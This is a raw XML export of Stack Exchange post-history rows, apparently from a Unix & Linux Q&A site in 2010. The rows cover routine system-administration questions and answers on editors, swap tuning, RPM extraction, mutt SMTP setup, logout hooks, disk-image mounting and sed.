  <row Id="5686" PostHistoryTypeId="2" PostId="2739" RevisionGUID="08adec01-1f6e-4b3f-995e-9705eabc8da5" CreationDate="2010-10-05T04:57:06.957" UserId="1207" Text="The two most common suggestions you will hear are [vim][1] and [emacs][2].  Both are good programmable text-editors that are used by many developers.  I am an occasional, amature programmer and an emacs user so here are some of the pros of using emacs:&#xD;&#xA;&#xD;&#xA;- Syntax Highlighting&#xD;&#xA;- Smart Code Navigation &amp; Editing: c-mode allows you to quickly move between various sections of code or quickly comment large chucks of code.&#xD;&#xA;- In-browser Compilation: You are always a few keystrokes away from compiling your code.&#xD;&#xA;- Version control integration: Almost every major version control system is supported.&#xD;&#xA;- Debugging: GBD can be easily used from inside emacs.&#xD;&#xA;&#xD;&#xA;This is really just scratching the surface of what you can do from inside emacs.  The downside includes the learning curve, the amount of configuration that most people find necessary to do, and, depending on your hands, the key combinations.  The nice thing is that the key combinations can be made a bit better by remapping CTRL and that once you have your basic emacs configuration you will likely only need the occasional modification.  Here are some good resources if you are interested in getting into emacs:&#xD;&#xA;&#xD;&#xA;- Built in tutorial system: Start Emacs, press CTRL+h followed by t.  (&quot;C-h t&quot; using notation common to emacs users.)&#xD;&#xA;- http://www.gnu.org/software/emacs/manual/html_node/emacs/index.html (also available from inside emacs)&#xD;&#xA;- http://www.emacswiki.org/ great for information on configuration and unique use cases.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vim.org/&#xD;&#xA;  [2]: http://www.gnu.org/software/emacs/" />
  <row Id="5687" PostHistoryTypeId="16" PostId="2739" RevisionGUID="08adec01-1f6e-4b3f-995e-9705eabc8da5" CreationDate="2010-10-05T04:57:06.957" UserId="1207" />
  <row Id="5688" PostHistoryTypeId="5" PostId="2664" RevisionGUID="76858d97-436a-463a-9e4d-30edb34d34d5" CreationDate="2010-10-05T06:55:36.020" UserId="102" Comment="added information on how to change the swapiness" Text="This behaviour can be configured by setting the value of ``/proc/sys/vm/swappiness``. The default value is 60, setting it to 0 means “never use swap when there is still RAM left“ and 100 is swapping out memory as soon as possible.&#xD;&#xA;&#xD;&#xA;To change the value temporarily (lost on reboot):&#xD;&#xA;&#xD;&#xA;    sudo sysctl vm.swappiness=10&#xD;&#xA;To change the value permanently:&#xD;&#xA;Edit the file ``/etc/sysctl.conf`` as root (e.g. ``sudo nano /etc/sysctl.conf``) and change the line ``vm.swapiness=...`` to the desired value.&#xD;&#xA;&#xD;&#xA;There has been some debate on whether swapping out with free memory available is good or bad, but the Ubuntu help does indeed recommend a value of 10 for Desktop systems: https://help.ubuntu.com/community/SwapFaq&#xD;&#xA; " />
  <row Id="5689" PostHistoryTypeId="2" PostId="2740" RevisionGUID="1d279a3b-f7ea-43fb-9d7d-e347fbdb8142" CreationDate="2010-10-05T07:10:50.787" UserId="1941" Text="I'm a pretty hard-core Emacs user but still, for developing C++ I prefer Qt-Creator (don't be afraid because of the name, it works well for non-QT-projects) as Emacs lacks good project support and stable code completion&#xD;&#xA;&#xD;&#xA;The pros:&#xD;&#xA;&#xD;&#xA; - Can import CMakeFiles.txt into an automatically created project&#xD;&#xA; - Best code completion you'll find on Linux, sometimes even better than Visual Stuudio when it comes to heavily templated code&#xD;&#xA; - Very good debugger integration&#xD;&#xA; - Available for all major platforms&#xD;&#xA; - Free (in both senses) software&#xD;&#xA; - version control software integration (SVN. Mercurial, git)&#xD;&#xA; - If you develop QT: Interface designer and more" />
  <row Id="5690" PostHistoryTypeId="2" PostId="2741" RevisionGUID="4a3fd6ed-2977-4448-86da-c259e336bb3e" CreationDate="2010-10-05T07:16:03.333" UserId="1941" Text="You can extract the contents of the RPM to the disk (and not into / but some other directory). I use mc for this, where you can enter a rpm-file like a directory and extract the files you need. To extract the whole RPM into the current directory you might do something like&#xD;&#xA;&#xD;&#xA;    rpm2cpio yourrpm.rpm | cpio -idmv" />
  <row Id="5691" PostHistoryTypeId="2" PostId="2742" RevisionGUID="11d36ebe-e2f1-46e5-9c24-de9d36cb27ef" CreationDate="2010-10-05T07:22:43.550" UserId="1941" Text="There is an extensive howto on getting the driver and making it work at http://www.susegeek.com/networking/fix-bcm4311431243214322-wireless-in-opensuse-111-and-earlier/&#xD;&#xA;" />
  <row Id="5692" PostHistoryTypeId="2" PostId="2743" RevisionGUID="5f9b690e-4452-4998-938e-de44aa2f8c57" CreationDate="2010-10-05T07:39:50.157" UserId="1903" Text="I like to use FreeBSD in my USB flash drive. How can i do it ?&#xD;&#xA;&#xD;&#xA;Pls give clear way to do it. " />
  <row Id="5693" PostHistoryTypeId="1" PostId="2743" RevisionGUID="5f9b690e-4452-4998-938e-de44aa2f8c57" CreationDate="2010-10-05T07:39:50.157" UserId="1903" Text="FreeBSD in USB Flash Drive" />
  <row Id="5694" PostHistoryTypeId="3" PostId="2743" RevisionGUID="5f9b690e-4452-4998-938e-de44aa2f8c57" CreationDate="2010-10-05T07:39:50.157" UserId="1903" Text="éunixàéfreebsdàéusbàébootà" />
  <row Id="5695" PostHistoryTypeId="2" PostId="2744" RevisionGUID="563bcec4-4235-44d8-a4f2-a6e7938a30cc" CreationDate="2010-10-05T07:47:00.817" UserId="73" Text="I use [mutt](http://www.mutt.org/) as my e-mail reader, and [nbSMTP](http://web.archive.org/web/20071013050201/http://nbsmtp.ferdyx.org/) as my SMTP client. I check e-mail from a half dozen accounts and sort them into miscellaneous folders in my maildir. Some of the folders are account-specific, but some contain e-mails from multiple accounts in one folder&#xD;&#xA;&#xD;&#xA;A number of the accounts are through [Gmail](http://gmail.com/), which has the unfortunate security feature of preventing users from sending from addresses that aren't theirs. Thus if I tell nbSTMP to authenticate as `user1@gmail.com` and send an e-mail with a `From: user2@gmail.com` header, Gmail will rewrite the header to `From: user1@gmail.com`.&#xD;&#xA;&#xD;&#xA;I've worked around this somewhat by adding folder hooks for the folders that are account-specific; when I switch to one of those folders the hook changes my sendmail command to pass nbSMTP the appropriate command-line arguments:&#xD;&#xA;&#xD;&#xA;    folder-hook =work 'set from=&quot;work@example.com&quot;'&#xD;&#xA;    folder-hook =work 'set sendmail=&quot;/usr/bin/nbsmtp -f work@example.com -U work -P password&quot;'&#xD;&#xA;&#xD;&#xA;However, this doesn't work for the folders that hold mail from multiple accounts, and it doesn't work if I try to e.g. send e-mail from `work@example.com` when I haven't switched to the `work` folder (since the folder hook hasn't run). **Is there a way to control how nbSMTP authenticates based on the `From` header in the outgoing e-mail?** I don't think nbSMTP has the flexibility to handle it itself, so I'm pretty sure it will have to be some kind of `mutt` configuration like the `folder-hook` method I'm currently using, but I haven't figured out how to do it. If necessary I can probably switch SMTP clients, if there's another that does provide the necessary functionality" />
  <row Id="5696" PostHistoryTypeId="1" PostId="2744" RevisionGUID="563bcec4-4235-44d8-a4f2-a6e7938a30cc" CreationDate="2010-10-05T07:47:00.817" UserId="73" Text="Changing SMTP authentication in mutt based on From e-mail address" />
  <row Id="5697" PostHistoryTypeId="3" PostId="2744" RevisionGUID="563bcec4-4235-44d8-a4f2-a6e7938a30cc" CreationDate="2010-10-05T07:47:00.817" UserId="73" Text="émailàésmtpàémuttà" />
  <row Id="5698" PostHistoryTypeId="5" PostId="2743" RevisionGUID="11198bc5-9bf4-4e04-b6c9-2d359e29f618" CreationDate="2010-10-05T07:51:51.997" UserId="1903" Comment="added 5 characters in body" Text="I like to use FreeBSD live in my USB flash drive. How can i do it ?&#xD;&#xA;&#xD;&#xA;Pls give clear way to do it. " />
  <row Id="5699" PostHistoryTypeId="2" PostId="2745" RevisionGUID="a5abc529-1288-404d-b792-2c7a595af474" CreationDate="2010-10-05T07:54:00.860" UserId="2155" Text="I would like to run a script to rsync my home directory to another machine whenever I log out of Gnome.  There is a way to hook into the Gnome logout process?" />
  <row Id="5700" PostHistoryTypeId="1" PostId="2745" RevisionGUID="a5abc529-1288-404d-b792-2c7a595af474" CreationDate="2010-10-05T07:54:00.860" UserId="2155" Text="How to run a script during Gnome log out" />
  <row Id="5701" PostHistoryTypeId="3" PostId="2745" RevisionGUID="a5abc529-1288-404d-b792-2c7a595af474" CreationDate="2010-10-05T07:54:00.860" UserId="2155" Text="égnomeà" />
  <row Id="5702" PostHistoryTypeId="5" PostId="2743" RevisionGUID="533ab089-338e-4370-ace7-ef105f9fb1e4" CreationDate="2010-10-05T07:58:07.917" UserId="1903" Comment="added 3 characters in body" Text="I like to use live FreeBSD in my USB flash drive. How can i do it ?&#xD;&#xA;&#xD;&#xA;Please give clear way to do it. " />
  <row Id="5703" PostHistoryTypeId="2" PostId="2746" RevisionGUID="8d6bb027-95d5-43ec-90a7-3a8360854ecd" CreationDate="2010-10-05T08:01:05.763" UserId="1941" Text="Go to http://unetbootin.sourceforge.net/ and download and install their software. Start the application, choose FreeBSD 8 as distribution and your USB stick at the bottom of the dialog and hit ok." />
  <row Id="5704" PostHistoryTypeId="5" PostId="2718" RevisionGUID="4e80cf11-c995-4434-99e4-6778f1d08f86" CreationDate="2010-10-05T08:09:15.047" UserId="274" Comment="added link to rtldi / problem with different libc's" Text="Since the source code for this wkhtmltoimage tool is available, I'd&#xD;&#xA;suggest you&#xD;&#xA;[recompile](http://code.google.com/p/wkhtmltopdf/wiki/compilation) it&#xD;&#xA;from source with your system's native glibc.  It will likely be even&#xD;&#xA;quicker than recompiling glibc, which is no easy task.&#xD;&#xA;&#xD;&#xA;A _statically linked_ executable already includes code for all the C&#xD;&#xA;library calls it needs to make, so you cannot separately compile a new&#xD;&#xA;glibc and link the executable to it.  However, programs using glibc&#xD;&#xA;are never completely static: some library calls (all those connected&#xD;&#xA;with the &quot;Name Service&quot;, i.e., `getuid()` and similar) still make use&#xD;&#xA;of dynamically-loaded modules (the `libnss*.so` files usually found&#xD;&#xA;under `/lib`).  This is likely why the program is failing: it is&#xD;&#xA;looking for some NSS module but can only find the `glibc2.3` ones.&#xD;&#xA;&#xD;&#xA;If you absolutely want to go down the road of recompiling glibc, the&#xD;&#xA;following could possibly work _(Warning: untested!):_&#xD;&#xA;&#xD;&#xA;1. configure glibc2.4 to install in a _non-system_ directory,&#xD;&#xA;   e.g. `/usr/local/glibc2.4`, then compile and install;&#xD;&#xA;&#xD;&#xA;2. run `wkhtmlto*` by specifying it as the first component in the&#xD;&#xA;   dynamic linker search path (`LD_LIBRARY_PATH`):&#xD;&#xA;&#xD;&#xA;       env LD_LIBRARY_PATH=/usr/local/glibc2.4/lib wkhtmltoimage ...&#xD;&#xA;&#xD;&#xA;**Update:** This turned out not be so easy: having two distinct libc's on the system &#xD;&#xA;requires more than just recompile/install, because the libc will look for the runtime linker and dynamic-load NSS modules in fixed locations.  The [rtldi](http://www.bitwagon.com/rtldi/rtldi.html) program allows installing different versions of the GNU libc on a single Linux system; its web page has instructions (but this is an expert-level task, so they are definitely not a step-by-step walkthrough).&#xD;&#xA;&#xD;&#xA;Let me stress again that it will be far less work to recompile `wkhtmltoimage`..." />
  <row Id="5705" PostHistoryTypeId="2" PostId="2747" RevisionGUID="25e72a42-7e8a-47b8-ab3a-c61292d513d8" CreationDate="2010-10-05T08:09:50.260" UserId="1941" Text="You could switch to esmtp, there it is pretty trivial:&#xD;&#xA;&#xD;&#xA;    identity myself@gmail.com&#xD;&#xA;            hostname smtp.googlemail.com:25&#xD;&#xA;            username &quot;myself@gmail.com&quot;&#xD;&#xA;            password &quot;secret&quot;&#xD;&#xA;            starttls enabled&#xD;&#xA;            default&#xD;&#xA;&#xD;&#xA;    identity mysecondaccount@gmail.com&#xD;&#xA;            hostname smtp.googlemail.com:25&#xD;&#xA;            username &quot;mysecondaccount@gmail.com&quot;&#xD;&#xA;            password &quot;evenmoresecret&quot;&#xD;&#xA;            starttls enabled&#xD;&#xA;            default&#xD;&#xA;" />
  <row Id="5706" PostHistoryTypeId="2" PostId="2748" RevisionGUID="02c57322-9f50-47e0-bc94-222832de751b" CreationDate="2010-10-05T08:13:44.910" UserId="1941" Text="The script /etc/gdm/PostSession/Default is run by root whenever someone quits his X session. You might add there something like&#xD;&#xA;&#xD;&#xA;    if [ ${USERNAME} = &quot;myuser&quot; ];then&#xD;&#xA;      su myuser -c /home/myuser/logout.sh&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;before the exit 0.&#xD;&#xA;&#xD;&#xA;Then create a file /home/myuser/logout.sh, make it executable and add your rsync call to it." />
  <row Id="5710" PostHistoryTypeId="5" PostId="2707" RevisionGUID="8e1ec7ab-2dac-4378-b527-f72771dc32ef" CreationDate="2010-10-05T08:34:13.160" UserId="1941" Comment="deleted 7 characters in body" Text="The idea is to set LANG only for this application.&#xD;&#xA;&#xD;&#xA;If you start the application from the command line, write something like `alias yourapp=&quot;export LANG=ru_RU.utf8 /usr/bin/yourapp&quot;` in ~/.bashrc.&#xD;&#xA;&#xD;&#xA;If you start the application with a GUI button, you can edit the corresponding desktop file, i.e. open ~/.gnome2/panel2.d/default/launchers/yourapp.desktop in a text editor and change the line `Exec=/usr/bin/yourapp %F` to `Exec=sh -c &quot;LANG=ru_RU.utf8 /usr/bin/foo %F&quot;`" />
  <row Id="5713" PostHistoryTypeId="5" PostId="2662" RevisionGUID="2ab3aa3a-6d39-4c55-93bb-bfa904af75d6" CreationDate="2010-10-05T08:53:22.540" UserId="1327" Comment="added 123 characters in body" Text="When you use `dd` on `/dev/sdb` instead of `/dev/sdb1` or `/dev/sdb2`, you copy **all** the *partitions* from the said drive into **one** file.&#xD;&#xA;&#xD;&#xA;You must mount each partition separately. &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;To **mount** a partition from a **file**, you must first find out where in the file that partition resides.&#xD;&#xA;&#xD;&#xA;Using your output from `file -s sdb.img` we find the `startsectors` for each partition:&#xD;&#xA;&#xD;&#xA;&gt; sdb.img: x86 boot sector; **partition 1**:&#xD;&#xA;&gt; ID=0x12, starthead 1, **startsector 63**,&#xD;&#xA;&gt; 10233342 sectors; **partition 2**: ID=0xc,&#xD;&#xA;&gt; active, starthead 0, **startsector&#xD;&#xA;&gt; 10233405**, 72517410 sectors; **partition&#xD;&#xA;&gt; 3**: ID=0xc, starthead 0, **startsector&#xD;&#xA;&gt; 82750815**, 73545570 sectors, code&#xD;&#xA;&gt; offset 0xc0&#xD;&#xA;&#xD;&#xA;**Partition**&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;**Startsector**  &#xD;&#xA;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;63  &#xD;&#xA;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;10233405  &#xD;&#xA;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;82750815  &#xD;&#xA;&#xD;&#xA;To mount a single partition, where `X`  is the **startsector** of that partition, run:&#xD;&#xA;&#xD;&#xA;    mount ~/sdb.img /mnt/sdb -o offset=$((X*512))&#xD;&#xA;&#xD;&#xA;So to mount  the **second partition**, you will have to run:&#xD;&#xA;&#xD;&#xA;    mount ~/sdb.img /mnt/sdb2 -o offset=$((10233405*512))&#xD;&#xA;&#xD;&#xA;**sidenote:** make sure that `/mnt/sdb2` exists before you run this.&#xD;&#xA;&#xD;&#xA;Have fun!&#xD;&#xA;" />
  <row Id="5714" PostHistoryTypeId="2" PostId="2750" RevisionGUID="18322e14-453b-4668-87bf-aadb1ecb70cd" CreationDate="2010-10-05T09:00:29.880" UserId="601" Text="This is probably caused by some peculiarity of your BIOS. Definitely not intentional." />
  <row Id="5715" PostHistoryTypeId="2" PostId="2751" RevisionGUID="ee6bb037-3b90-4fd1-9c41-b718c1002dc5" CreationDate="2010-10-05T09:02:22.030" UserId="1327" Text="Is it possible for my Linux box to become infected with a virus?&#xD;&#xA;&#xD;&#xA;I haven't heard of it happening to anyone I know, and I've heard quite a few times that it isn't possible. Is that true?&#xD;&#xA;&#xD;&#xA;If so, whats up with Linux Anti-Virus software?&#xD;&#xA; " />
  <row Id="5716" PostHistoryTypeId="1" PostId="2751" RevisionGUID="ee6bb037-3b90-4fd1-9c41-b718c1002dc5" CreationDate="2010-10-05T09:02:22.030" UserId="1327" Text="The myths about viruses in unix/linux" />
  <row Id="5717" PostHistoryTypeId="3" PostId="2751" RevisionGUID="ee6bb037-3b90-4fd1-9c41-b718c1002dc5" CreationDate="2010-10-05T09:02:22.030" UserId="1327" Text="évirusesà" />
  <row Id="5718" PostHistoryTypeId="2" PostId="2752" RevisionGUID="7f255911-f607-49f9-b20c-9e483803561a" CreationDate="2010-10-05T09:10:35.423" UserId="1941" Text="Viruses for Linux are possible in principle and there have been some, however in the wild, there are no widespread Linux viruses. The Linux user base is pretty small and under Linux it is much harder for a virus to do much harm as the user model is pretty restrictive in contrast to e.g. Windows XP. Therefore virus authors normally target Windows.&#xD;&#xA;&#xD;&#xA;There is Linux Anti-Virus software, e.g. from McAfee, but no Linux user I know uses such software. It is by far more important to install only software from trustworthy sources and keep your system always up to date by installing security updates in a timely manner." />
  <row Id="5719" PostHistoryTypeId="2" PostId="2753" RevisionGUID="d923105a-e429-4f75-bffe-c38e7fffc882" CreationDate="2010-10-05T09:32:53.167" UserId="2156" Text="I started my ubuntu today and Audio card was not working. Card is not even listed with `lshw`.  No device with description like `physical id: 1b` (I remember the old device settings).&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="5720" PostHistoryTypeId="1" PostId="2753" RevisionGUID="d923105a-e429-4f75-bffe-c38e7fffc882" CreationDate="2010-10-05T09:32:53.167" UserId="2156" Text="Sound card not found anymore" />
  <row Id="5721" PostHistoryTypeId="3" PostId="2753" RevisionGUID="d923105a-e429-4f75-bffe-c38e7fffc882" CreationDate="2010-10-05T09:32:53.167" UserId="2156" Text="éubuntuàéaudioà" />
  <row Id="5722" PostHistoryTypeId="6" PostId="2704" RevisionGUID="0f7b78ec-e032-40a5-892d-05ee0a4f4ee9" CreationDate="2010-10-05T10:27:04.160" UserId="1327" Comment="edited tags" Text="énetworkingàéiptablesà" />
  <row Id="5723" PostHistoryTypeId="2" PostId="2754" RevisionGUID="dd60ae6f-e10c-48e8-be70-4ae92e176000" CreationDate="2010-10-05T10:35:39.013" UserId="1327" Text="This can be caused by any number of things, you should take a look at the [Comprehensive Sound Problem Solutions Guide][1] on the Ubuntu Forums&#xD;&#xA;&#xD;&#xA;[1]:http://ubuntuforums.org/showthread.php?t=205449" />
  <row Id="5724" PostHistoryTypeId="5" PostId="2754" RevisionGUID="76fe15e6-e9d7-49b3-947f-80d025631119" CreationDate="2010-10-05T10:43:03.343" UserId="1327" Comment="added 863 characters in body" Text="This can be caused by any number of things, you should take a look at the [Comprehensive Sound Problem Solutions Guide][1] on the Ubuntu Forums&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Exerpt from the [Guide][1]:&#xD;&#xA;&#xD;&#xA;&gt; (2) Type this into the shell: Code:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     lspci -v&#xD;&#xA;&gt; &#xD;&#xA;&gt;    **Success** - At this point, you should see your sound card listed.&#xD;&#xA;&gt; This is a positive sign because it&#xD;&#xA;&gt; means that Ubuntu is detecting the&#xD;&#xA;&gt; presence of your soundcard, but the&#xD;&#xA;&gt; drivers are not installed/running.&#xD;&#xA;&gt; Leave your shell running since you&#xD;&#xA;&gt; will need it.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Failure** - If it is not listed, then there are a few things that you&#xD;&#xA;&gt; can do.&#xD;&#xA;&gt;  &#xD;&#xA;&gt; - If your soundcard is an onboard sound card, then it might be&#xD;&#xA;&gt; disabled in the system's BIOS. You&#xD;&#xA;&gt; will have to reboot and hit the key&#xD;&#xA;&gt; that lets you enter into the BIOS&#xD;&#xA;&gt; (usually Delete, F2, or F.&#xD;&#xA;&gt;&#xD;&#xA;&gt; - If your soundcard is not onboard, make sure that it is properly&#xD;&#xA;&gt; seated in the PCI slot. If your card&#xD;&#xA;&gt; is working under Windows then this is&#xD;&#xA;&gt; not a problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]:http://ubuntuforums.org/showthread.php?t=205449" />
  <row Id="5725" PostHistoryTypeId="2" PostId="2755" RevisionGUID="385e298e-cd4f-4fb3-8153-c3f882aa9b65" CreationDate="2010-10-05T11:00:13.093" UserId="625" Text="I have to reconfigure PHP with some extra options but since I downloaded it on Ubuntu using apt-get I can't seem to find the source anywhere (php -i points the source to a tmp folder which no longer exists).&#xD;&#xA;&#xD;&#xA;Is there anyway to reconfigure without having to use apt-get -o=?&#xD;&#xA;&#xD;&#xA;One of my issues is that I need the version to say the same (5.3.2) doing an apt-get now tries to download 5.3.3" />
  <row Id="5726" PostHistoryTypeId="1" PostId="2755" RevisionGUID="385e298e-cd4f-4fb3-8153-c3f882aa9b65" CreationDate="2010-10-05T11:00:13.093" UserId="625" Text="Configuring a package that was downloaded using apt-get" />
  <row Id="5727" PostHistoryTypeId="3" PostId="2755" RevisionGUID="385e298e-cd4f-4fb3-8153-c3f882aa9b65" CreationDate="2010-10-05T11:00:13.093" UserId="625" Text="éubuntuàépackageömanagementàéaptà" />
  <row Id="5728" PostHistoryTypeId="2" PostId="2756" RevisionGUID="722b43d7-11b3-42e2-8f95-055ae2a0d913" CreationDate="2010-10-05T11:10:51.207" UserId="1976" Text="Eclipse is a good choice, because one IDE to many language. In addition you can install vim plugin, etc. &#xD;&#xA;How to install c/c++:&#xD;&#xA;Menu: Help-&gt;Install New Software-&gt;Add&#xD;&#xA;http://download.eclipse.org/tools/cdt/releases/galileo&#xD;&#xA;&#xD;&#xA;http://www.eclipse.org/cdt/" />
  <row Id="5729" PostHistoryTypeId="5" PostId="2756" RevisionGUID="1c2cb948-084f-497a-93de-7f89d0fcaaf6" CreationDate="2010-10-05T11:15:58.600" UserId="1976" Comment="added 81 characters in body" Text="Eclipse is a good choice, because one IDE to many language. In addition you can install vim plugin, etc. &#xD;&#xA;How to install c/c++:&#xD;&#xA;Menu: Help-&gt;Install New Software-&gt;Add&#xD;&#xA;http://download.eclipse.org/tools/cdt/releases/galileo&#xD;&#xA;&#xD;&#xA;http://www.eclipse.org/cdt/&#xD;&#xA;&#xD;&#xA;In addition, you should see:&#xD;&#xA;http://www.eclipse.org/linuxtools/downloads.php" />
  <row Id="5730" PostHistoryTypeId="2" PostId="2757" RevisionGUID="f79bedee-390f-4f05-b0ed-800c214beff7" CreationDate="2010-10-05T11:40:10.407" UserId="2158" Text="Hi&#xD;&#xA;&#xD;&#xA;I'm not too familiar with Linux, but hope it may be ideal for this situation.  I'm hoping there is a boot from CD style distro that will be ideal for my daughter to use solely for browsing the internet.&#xD;&#xA;&#xD;&#xA;The only odd requirement is that it must be able to save a list of websites to 'favourites' (maybe on USB for example), or as a next best option maybe that list can be hardcoded (such as on a config file) within the distro?&#xD;&#xA;&#xD;&#xA;Would this be possible? Can you recommend a distribution?" />
  <row Id="5731" PostHistoryTypeId="1" PostId="2757" RevisionGUID="f79bedee-390f-4f05-b0ed-800c214beff7" CreationDate="2010-10-05T11:40:10.407" UserId="2158" Text="LiveCD web browser distro" />
  <row Id="5732" PostHistoryTypeId="3" PostId="2757" RevisionGUID="f79bedee-390f-4f05-b0ed-800c214beff7" CreationDate="2010-10-05T11:40:10.407" UserId="2158" Text="édistrosà" />
  <row Id="5733" PostHistoryTypeId="2" PostId="2758" RevisionGUID="a70ed00b-9734-4878-8bb2-5cc7ae613ce5" CreationDate="2010-10-05T11:45:28.413" UserId="252" Text="Although it might be bloated, you could just use Ubuntu Live (netbook or desktop). &#xD;&#xA;&#xD;&#xA;If you copy that to a USB disk via their `usb-creator-gtk`, you can specify an amount of persistent storage for the user.&#xD;&#xA;&#xD;&#xA;If you need to make more modifications to a default install, you can always take a look at [this article from lifehacker](http://lifehacker.com/5645072/make-your-own-customized-ubuntu-live-cd-or-usb-drive) about customizing a live cd." />
  <row Id="5734" PostHistoryTypeId="2" PostId="2759" RevisionGUID="627531d6-bf71-4ef1-8111-a8352f52e503" CreationDate="2010-10-05T11:48:34.787" UserId="1138" Text="Hey,&#xD;&#xA;&#xD;&#xA;If I run:&#xD;&#xA;&#xD;&#xA;    cat messages.txt | sed -e 's/a/a/g' &gt; messages.txt&#xD;&#xA;&#xD;&#xA;on one large file (2500+ lines) I find that the resulting file will only have about 900 lines after the command in cygwin and will have no lines in gentoo. However if I run&#xD;&#xA;&#xD;&#xA;    cat messages.txt | sed -e 's/a/a/g' &gt; other_messages.txt&#xD;&#xA;&#xD;&#xA;it retains all the lines as it should.&#xD;&#xA;&#xD;&#xA;My question is why and is there any way to do it other than&#xD;&#xA;&#xD;&#xA;    cat messages.txt | sed -e 's/a/a/g' &gt; other_messages.txt&#xD;&#xA;    rm messages.txt&#xD;&#xA;    mv other_messages.txt messages.txt&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="5735" PostHistoryTypeId="1" PostId="2759" RevisionGUID="627531d6-bf71-4ef1-8111-a8352f52e503" CreationDate="2010-10-05T11:48:34.787" UserId="1138" Text="Why does sed act differently depending on the output file?" />
  <row Id="5736" PostHistoryTypeId="3" PostId="2759" RevisionGUID="627531d6-bf71-4ef1-8111-a8352f52e503" CreationDate="2010-10-05T11:48:34.787" UserId="1138" Text="élinuxàésedàépipeà" />
  <row Id="5737" PostHistoryTypeId="2" PostId="2760" RevisionGUID="23886aa0-ede2-439d-bf71-9d9915c7d84a" CreationDate="2010-10-05T11:53:12.467" UserId="1941" Text="Why don't you just write&#xD;&#xA;&#xD;&#xA;    sed -i -e 's/a/a/g' messages.txt&#xD;&#xA;&#xD;&#xA;the -i means &quot;in place&quot;" />
  <row Id="5738" PostHistoryTypeId="2" PostId="2761" RevisionGUID="064a5a88-3fb2-4733-8685-ed90a3bcc21d" CreationDate="2010-10-05T11:59:20.753" UserId="1327" Text="[This][1] page gives you details on how to access the SVN of the PHP package.&#xD;&#xA;&#xD;&#xA;I think ( not entirely sure ), that you will need to run: &#xD;&#xA;&#xD;&#xA;    svn checkout http://svn.php.net/repository/php/php-src/tags/php_5_3_2/ php_5_3_2&#xD;&#xA;&#xD;&#xA;to get your hands on the `5.3.2` source code. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]:http://www.php.net/svn.php" />
  <row Id="5739" PostHistoryTypeId="2" PostId="2762" RevisionGUID="187ebd75-2891-43f1-a6cc-1674b4027156" CreationDate="2010-10-05T12:10:56.603" UserId="2159" Text="`apt-get source $PACKAGE` will download the source for a package.&#xD;&#xA;&#xD;&#xA;`apt-get build-dep $PACKAGE` will install the build dependencies for a package so you can build it.&#xD;&#xA;&#xD;&#xA;`dpkg-buildpackage` will build it.&#xD;&#xA;&#xD;&#xA;`dpkg -i $PACKAGEFILE` will install a package file. (.deb)" />
  <row Id="5740" PostHistoryTypeId="5" PostId="2762" RevisionGUID="9d3c49cb-4bb5-405a-9b22-1e3d3c91d419" CreationDate="2010-10-05T12:15:58.363" UserId="2159" Comment="added 16 characters in body; added 25 characters in body" Text="`apt-get source $PACKAGE=$PACKAGEVERSION` will download the source for a package to the current directory.&#xD;&#xA;&#xD;&#xA;`apt-get build-dep $PACKAGE` will install the build dependencies for a package so you can build it.&#xD;&#xA;&#xD;&#xA;`dpkg-buildpackage` will build it.&#xD;&#xA;&#xD;&#xA;`dpkg -i $PACKAGEFILE` will install a package file. (.deb)" />
  <row Id="5741" PostHistoryTypeId="5" PostId="2761" RevisionGUID="cc6aada0-386b-4650-ac46-32d876315774" CreationDate="2010-10-05T12:22:25.883" UserId="1327" Comment="added 585 characters in body; added 1 characters in body" Text="Christopher's [answer](http://unix.stackexchange.com/questions/2755/configuring-a-package-that-was-downloaded-using-apt-get/2762#2762) made me go read the manpage and **you can specify the version** when downloading the source with apt-get.&#xD;&#xA;&#xD;&#xA;From the apt-get [manpage](http://linux.die.net/man/8/apt-get).&#xD;&#xA;&#xD;&#xA;&gt; **source**&#xD;&#xA;&gt; &#xD;&#xA;&gt; ...&#xD;&#xA;&gt; &#xD;&#xA;&gt; A specific source version can be retrieved by postfixing the source&#xD;&#xA;&gt; name with an equals and then the&#xD;&#xA;&gt; version to fetch, similar to the&#xD;&#xA;&gt; mechanism used for the package files.&#xD;&#xA;&gt; This enables exact matching of the&#xD;&#xA;&gt; source package name and version,&#xD;&#xA;&gt; implicitly enabling the&#xD;&#xA;&gt; APT::Get::Only-Source option.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Note that source packages are not tracked like binary packages, they&#xD;&#xA;&gt; exist only in the current directory&#xD;&#xA;&gt; and are similar to downloading source&#xD;&#xA;&gt; tar balls.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;so running &#xD;&#xA;&#xD;&#xA;    apt-get source php5=5.3.2&#xD;&#xA;&#xD;&#xA;should do the trick" />
